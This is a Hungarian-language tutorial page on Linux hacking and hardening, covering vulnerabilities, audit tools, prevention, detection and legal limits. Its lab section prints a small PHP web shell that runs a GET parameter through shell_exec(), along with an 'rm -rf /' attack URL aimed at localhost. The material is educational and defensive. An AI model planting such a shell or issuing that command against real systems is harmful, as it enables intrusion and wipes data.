Linux hackelési oktatóanyag: Ubuntu Parancsok és eszközök

⚡ Okos összefoglaló

A Linux hackelés a Linux rendszerek gyengeségeinek felkutatását és kihasználását jelenti, és ez az oldal ismerteti a támadók által célba vett sebezhetőségeket, a használt auditeszközöket és a szerver védelmét biztosító vezérlőket.

  • ???? Miért számít: A legtöbb webszervert és felhőalapú terhelést Linux futtatja, ami értékes célponttá teszi.
  • 🔍 Nyílt forráskódú kompromisszum: A nyilvános forráskód segít a karbantartóknak a gyors javításokban, és segít a támadóknak a hibák felkutatásában.
  • 🧰 Auditeszközök: Nessus, Nmap, Lynis és OpenVAS felfedi a nyitott portokat, a hiányzó javításokat és a gyenge konfigurációt.
  • 💥 Támadási vektorok: A legtöbb támadás oka a gyenge SSH hitelesítő adatok, a nem frissített kernelek, a helytelen konfiguráció és a web shell-ek.
  • 🛡️ Edzés: A javításkezelés, az SSH-erősítés, a minimális jogosultságok és a kötelező hozzáférés-vezérlés jelentősen csökkenti a kitettséget.
  • ???? Érzékelés: Az auditnaplók, a fájlok integritásának ellenőrzése és a behatolásészlelés még a kár terjedése előtt feltárja a biztonsági rést.

Linux hackelési útmutató

A Linux a legszélesebb körben használt szerver operációs rendszer, különösen webszerverek esetében. Nyílt forráskódú, ami azt jelenti, hogy bárki elolvashatja a forráskódot. Ez az átláthatóság mindkét irányban előnyös: a karbantartók a hibák gyors megtalálására és javítására használják, míg a támadók ugyanazt a kódot tanulmányozzák, és gyengeségeket keresnek, amelyeket kihasználhatnak. A Linux hackelés az a gyakorlat, amikor ezeket a gyengeségeket kihasználva jogosulatlan hozzáférést szereznek egy rendszerhez.

Az alábbi részek bemutatják, hogy mi is a Linux, a rá hatással lévő biztonsági réseket, valamint a hackelés gyakorlati bemutatását. Ubuntu, és az ellenintézkedéseket, amelyeket életbe léptethet.

Gyors megjegyzés Linuxon

A Linux egy nyílt forráskódú operációs rendszer. Számos disztribúció épül rá, beleértve a Red Hat Enterprise Linux, Fedora, Debian és UbuntuMivel a forráskód nyilvános, a kutatók, a szállítók és a támadók mind megvizsgálhatják. A támadók ezt a hozzáférést használják kihasználható hibák keresésére, míg ugyanez a láthatóság lehetővé teszi a karbantartók számára, hogy gyorsabban szállítsanak javításokat, mint ahogy azt a zárt platformok gyakran képesek. A Linux szerverként, asztali számítógépként, táblagépként vagy mobileszköz operációs rendszerként fut.

A Linux programok grafikus felületen vagy parancssorból is futtathatók. A parancssori munka gyorsabb és pontosabb, mint a grafikus felhasználói felületen kattintgatni, ezért a biztonsági tesztelők, akik olyan disztribúciókon dolgoznak, mint a Kali Linux szinte minden idejüket terminálban töltik. Az alapvető parancsok ismerete ezért gyakorlati előfeltétel.

Erre hivatkozni Linux oktatóanyag az alapokhoz, és a Kali Linux oktatói a rájuk épített, biztonságra összpontosító disztribúcióhoz.

Gyakori Linux biztonsági sebezhetőségek és támadási vektorok

A Linux elleni támadások ritkán támaszkodnak egzotikus biztonsági résekre. A 2025-ben és 2026-ban publikált telemetriai adatok azt mutatják, hogy a legtöbb behatolás... tracvisszatérő gyengeségek kis csoportjához, és ezek ismerete megmutatja, hogy hol kell először védekezni.

  • Gyenge vagy újrafelhasznált SSH hitelesítő adatok – A Linux végpontokon megfigyelt ellenséges tevékenységek túlnyomó többségét az internetre mutató SSH elleni nyers erővel és hitelesítő adatokkal való visszaélési kísérletek teszik ki.
  • Nem javított kernel- és csomaghibák – a Linux kernel csapata 2024-ben CVE számozási hatósággá vált, és a bejelentett kernel CVE-k száma a 2023-as nagyjából 290-ről a következő évben több mint 3,500-ra emelkedett, így a javítások elmaradása gyorsan felhalmozódik.
  • Hibás konfiguráció — az alapértelmezett fiókok, a felesleges démonok, a világ által írható fájlok és a megengedő sudo szabályok olyan jogosultságokat adnak ki, amelyek megszerzéséhez semmilyen exploit nem lett volna szükség.
  • Sebezhető webalkalmazások – olyan hibák, mint SQL injektálás A cross-site scripting (cross-site scripting) lehetővé teszi a támadó számára, hogy az alkalmazáson keresztül, ne pedig az operációs rendszeren keresztül érje el a szervert. A web shell-ek a leggyakoribb rosszindulatú elemek, amelyek a feltört Linux szervereken találhatók.
  • Privilégium eszkalációs hibák — helyi hibák, amelyek korlátozott fiókot root-tá alakítanak. Néhányuk több mint egy évtizedig észrevétlenül fennmaradt a kernelben a nyilvánosságra hozatal előtt.
  • Ellátási lánc és függőségi kockázat — harmadik féltől származó csomagok, nyelvi könyvtárak és konténerképek olyan kódot hívnak be, amelyet az operációs csapat senki sem ellenőrzött.

Ezek egyike sem igényel támadót a Linux legyőzéséhez. A 2025-ös behatolások elemzése azt mutatta, hogy nagyjából négyötödükben semmilyen kártevő nem volt jelen, ehelyett helytelen konfigurációra és ellopott hitelesítő adatokra támaszkodtak.

Linux hackereszközök

A biztonsági tesztelők és a rendszergazdák ugyanazokat a szkennereket használják: az egyik oldal a gyengeségek megtalálására, mielőtt a támadó megtenné, a másik pedig a javítások érvényességének megerősítésére. Az alábbi eszközök a leggyakrabban használt eszközök egy Linux gazdagép auditálására.

Szerszám típus Engedély Tipikus használat Linuxon
Nessus Sebezhetőségi szkenner Kereskedelmi Konfigurációs beállításokat, hiányzó javításokat és hálózati szolgáltatásokat keres vegyes környezetekben.
Nmap Hálózati és portszkenner Nyílt forráskód Azonosítja a szerveren futó hosztokat, az általuk elérhető szolgáltatásokat és a nyitott portokat.
Lynis Gazdagép-ellenőrzés és -megerősítés Nyílt forráskód Ellenőrzi a futó rendszert a tesztelés során elért eredmények megerősítése érdekében, és jelentést készít a konkrét javítási lépésekről.
OpenVAS Sebezhetőségi szkenner Nyílt forráskód Hálózati sebezhetőségi szkennelés, amelyet a Greenbone a közösségi kiadás részeként tart fenn.

A lista nem teljes; csupán egy áttekintést nyújt az auditáláshoz rendelkezésre álló eszközökről. Ubuntu és más Linux rendszerek. A régebbi útmutatók továbbra is a SARA-t, a Security Auditor's Research Assistant-ot ajánlják, de a végső kiadása 2009-ből származik, és a projekt weboldala offline, így Lynis és OpenVAS a fenntartott alternatívák.

Hackelési tevékenység: Hack a Ubuntu Linux rendszer PHP-t használva

Ebben a gyakorlati forgatókönyvben azt vizsgáljuk meg, hogyan lehet elérni egy Linux hosztot egy webes alkalmazáson keresztül, PHP példáján keresztül. Nincsenek élő áldozatok célozva. Ha ki szeretnéd próbálni, telepítsd a LAMPP-ot, az XAMPP Linux verzióját, a saját gépedre.

PHP két függvénnyel rendelkezik, amelyekkel operációsrendszer-parancsokat lehet futtatni: az exec() és a shell_exec(). Az exec() függvény a parancs kimenetének utolsó sorát adja vissza, míg a shell_exec() a parancs teljes eredményét karakterláncként adja vissza.

Bemutatási célokból tegyük fel, hogy egy támadónak sikerül feltöltenie a következő fájlt egy webszerverre.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

ITT,

A fenti szkript a cmd nevű GET változóból veszi a parancsot. A parancs végrehajtása a shell_exec() függvénnyel történik, az eredmény pedig a böngészőben jelenik meg.

A fenti kód a következőképpen hasznosítható URL

http://localhost/cp/konsole.php?cmd=ls%20-l

ITT,

  • A „…konsole.php?cmd=ls%20-l” az ls –l értéket rendeli a cmd változóhoz.

A parancs a Ubuntu a szerver ezért a következőképpen fut

shell_exec('ls -l') ;

A fenti kód webszerveren történő végrehajtása a következőhöz hasonló eredményt ad.

Egy PHP szkript böngészőkimenete, amely felsorolja a könyvtár tartalmát és a fájlengedélyeket egy Ubuntu szerver

A kimenet egyszerűen megjeleníti az aktuális könyvtárban található fájlokat és azok jogosultságait.

Most tegyük fel, hogy a támadó ehelyett a következő parancsot adja át.

rm -rf /

ITT,

  • Az „rm” parancs fájlokat távolít el.
  • Az „rf” paranccsal az rm parancs rekurzív módban fut, törölve az összes mappát és fájlt.
  • A „/” jel arra utasítja a parancsot, hogy a gyökérkönyvtárból kezdje meg a törlést.

A támadás URL valahogy így nézne ki

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

Egyetlen érvénytelen paraméter tehát elegendő ahhoz, hogy a támadó a webszerver fiók által birtokolt jogosultságokat megkapja. A következő két szakasz célja ennek megakadályozása, valamint a megelőzés kudarca esetén a hiba észlelése.

Hogyan előzhetjük meg a Linux hackeket

A Linux hackelés az operációs rendszer és a rajta futó szoftverek sebezhetőségeit használja ki. Egy szervezet a következő vezérlőelemek együttes alkalmazásával bezárhatja a fent leírt rések nagy részét.

  • Javításkezelés – a javítások kijavítják a támadók által a rendszer feltörésére kihasznált hibákat. Egy meghatározott szabályzat biztosítja, hogy a releváns frissítések azonnal alkalmazásra kerüljenek, ne pedig akkor, amikor valaki eszébe jutnak.
  • Megfelelő operációs rendszer konfiguráció — inaktív felhasználói fiókok és szükségtelen démonok letiltása. Az alapértelmezett beállítások módosítása, beleértve az alapértelmezett felhasználóneveket, a megosztott alkalmazásjelszavakat és az alapértelmezett portszámokat.
  • SSH-keményítés — letiltja a root bejelentkezést és a jelszó-hitelesítést, csak a megnevezett felhasználókat vagy csoportokat engedélyezi, és korlátozza a hitelesítési újrapróbálkozások számát. Ez lezárja a Linuxon a legsúlyosabban támadott belépési pontot.
  • A legkisebb kiváltság — csak a szükséges jogokat adja meg a fiókoknak és szolgáltatásoknak, és a sudo parancsot bizonyos parancsokra korlátozza az általános adminisztrátori hozzáférés helyett.
  • Kötelező hozzáférés-vezérlés — megtartani az SELinuxot (Red Hat család) vagy az AppArmort (Debian és Ubuntu) kényszerített módban, hogy a veszélyeztetett szolgáltatás ne érhesse el a rendszer többi részét.
  • Bemenet érvényesítése — a fenti bemutató csak azért működik, mert a kérés adatai egy shell függvényhez érnek el. Soha ne adj át felhasználói bemenetet az exec() vagy a shell_exec() függvénynek.
  • Tűzfalak és szegmentálás — csak azokat a portokat tegye elérhetővé, amelyeket egy szolgáltatásnak valóban szüksége van, egy tűzfal és a hálózati szegmentálás, hogy korlátozza a feltört gazdagép által elérhető tartalmakat.
  • Behatolásjelző rendszerek – az ilyen eszközök felhasználhatók a rendszerhez való jogosulatlan hozzáférés észlelésére, és némelyikük blokkolni is tudja a kísérletet.
  • Tesztelt biztonsági mentések – az offline, visszaállítható biztonsági mentések a fentihez hasonló romboló parancsokat inkább kieséssé, mintsem állandó veszteséggé változtatják.

Hogyan észlelhető egy feltört Linux rendszer?

A megelőzés végül kudarcot vall, így a második kérdés az, hogy milyen gyorsan vennéd észre. A Linuxon a felderítés a megfelelő bizonyítékok gyűjtésétől függ egy incidens előtt, nem pedig utána.

  • Audit naplózás – a kernel audit keretrendszere, az auditd, olyan formában rögzíti a jogosultságok használatát, a fájlhozzáféréseket és a rendszerhívásokat, amelyet egy feltört folyamat nem tud csendben átírni. Ezeket a naplókat továbbítja a gazdagépről egy központi gyűjtőnek.
  • Hitelesítési naplók — a klasszikus brute-force protokoll a /var/log/auth.log vagy a /var/log/secure fájlban található hibák sorozatát követő egyetlen sikeres művelet.
  • Váratlan folyamatok és kapcsolatok – egy olyan lehallgató szolgáltatás vagy kimenő kapcsolat, amelyről senki sem tud magyarázatot találni, azonnali vizsgálatot érdemel.
  • Fájlintegritás figyelése — olyan eszközök, amelyek hash-elik a rendszer bináris fájljait és konfigurációs fájljait, és olyan fájlok módosításait jelölik meg, amelyeknek soha nem szabadna megváltozniuk.
  • Ütemezett feladatok és indítási elemek — a perzisztencia általában cron feladatokban, systemd egységekben vagy shell profil szkriptekben landol.
  • Új vagy módosított fiókok — keress ismeretlen felhasználókat, bármilyen második, 0 UID-val rendelkező fiókot és senki által hozzáadott SSH-kulcsokat.
  • Webszerver könyvtárak – mivel a web shell fájlok a Linux szervereken leggyakrabban előforduló rosszindulatú fájlok, a web root alatt található váratlan szkriptfájlok különös figyelmet érdemelnek.
  • Ütemezett auditok — futtasson ütemterv szerint egy gazdaellenőrző eszközt, például a Lynis-t, és kezelje az egyes jelentéseket munkalistaként, ne pedig egyszeri feladatként.

Ha mégis bizonyítékot találsz a kompromittálásra, izoláld a hosztot, őrizd meg a naplókat és a lemezképet, mielőtt bármit is megváltoztatnál, és építsd újra a rendszert ismert, jó minőségű adathordozóról, ahelyett, hogy egy működő rendszert próbálnál megtisztítani. A bizonyítékkezelési oldalát a következő tárgyalja: digitális forenzika.

A Linux hackelés jogi és etikai határai

Az ezen az oldalon található összes technika törvényes a saját tulajdonú vagy írásos engedéllyel rendelkező rendszereken, és szinte mindenhol máshol illegális. A fenti gyakorlat szándékosan a helyi telepítés ellen irányul, pontosan emiatt.

  • Írásos felhatalmazás – egy aláírt hatókör, egy egyeztetett tesztidőablak és egy megnevezett kapcsolattartó az, ami megkülönbözteti a behatolási tesztet a bűncselekménytől. A szóbeli jóváhagyás nem elég.
  • Maradj a hatókörön belül — A fel nem sorolt ​​hosztok, címtartományok és technikák használata nem megengedett, még akkor sem, ha elérhetők.
  • Óvatosan kezelje az adatokat – a teszt során gyűjtött bizonyítékok továbbra is valódi személyes adatokat tartalmaznak, ezért biztonságosan kell tárolni, majd utána meg kell semmisíteni.
  • Felelősségteljes bejelentés — a megállapításokat tájékoztassa a tulajdonosról, és a közzététel előtt hagyjon időt a javításra.

A jogi kockázat valós: a számítógépes rendszerhez való jogosulatlan hozzáférés bűncselekmény olyan törvények értelmében, mint az Egyesült Államok Számítógépes Csalás és Visszaélés Elleni Törvénye és az Egyesült Királyság Számítógépes Visszaélés Elleni Törvénye. Ha ezekre a készségekre építve szeretne karriert építeni, válasszon egy elismert utat – egy… biztonsági tanúsítvány plusz egy saját laboratórium, nem pedig valaki más szervere.

GYIK

A Linux szigorú felhasználó-elkülönítést és kisebb asztali támadási felületet kínál, így sokkal kevesebb általános kártevővel találkozik. A szerveroldali kitettség már más tészta – az internetre néző Linux-hosztokat folyamatosan támadják, és a konfiguráció minősége dönti el az eredményt.

Az aláírás-vizsgálat segít a más platformok tartalmát kezelő fájl- és levelezőszervereken. A legtöbb Linux-gazdagép esetében a javítások, a megerősítés és a naplóalapú észlelés nagyobb értéket képvisel, mivel a behatolások többsége egyáltalán nem tartalmaz kártevőfájlt.

A gépi tanulás modellezi a normál folyamatokat, a bejelentkezést és a hálózati viselkedést egy gazdagépen, majd megjelöli azokat az eltéréseket, amelyeket a rögzített szabályok nem értenek – például egy webszerver-fiók létrehoz egy shell-t. A támadók ugyanazokat a technikákat alkalmazzák a felderítés felgyorsítására, így mindkét oldal előrehalad.

GitHub másodpilóta Paraméterezett lekérdezéseket és biztonságosabb alternatívákat tud javasolni a shell hívásokra, ha közvetlenül rákérdezünk. Nyilvános kódon tanul, így a javaslatokat továbbra is felül kell vizsgálni – kezelje első vázlatos asszisztensként, ne biztonsági szkennerként.

Mindkettő Debian alapú, de Kali Linux több száz előre telepített biztonsági és forenzikus eszközt szállít, és tesztelési munkára készült. Ubuntu egy általános célú asztali és szerver disztribúció, és a mindennapi használatra a jobb választás.

Telepítsen biztonsági frissítéseket legalább havonta, és néhány napon belül minden kritikusnak minősített vagy ismerten sérülékeny rendszerre. Engedélyezze a felügyelet nélküli biztonsági frissítéseket, és ütemezze az újraindításokat, hogy a kerneljavítások valóban érvénybe lépjenek.

Kezdésként szerezz Linux rendszergazdai jogosultságot, például LPIC-t vagy RHCSA-t, add hozzá a CompTIA Security+-t, majd térj át a gyakorlati penetrációs tesztelésre vagy adminisztrációra. tracks. Guru99 vezet egy listát a következőkről: kiberbiztonsági tanúsítványok a jelenlegi követelményekkel.

Használjon virtuális gépet saját hardverén, vagy egy jóváhagyott képzési platformot, mint például TryHackMe, ahol a célpontok pontosan erre a célra vannak megadva. Soha ne tesztelj olyan rendszert, amely nem a sajátod, írásos engedély nélkül.

Foglald össze ezt a bejegyzést a következőképpen: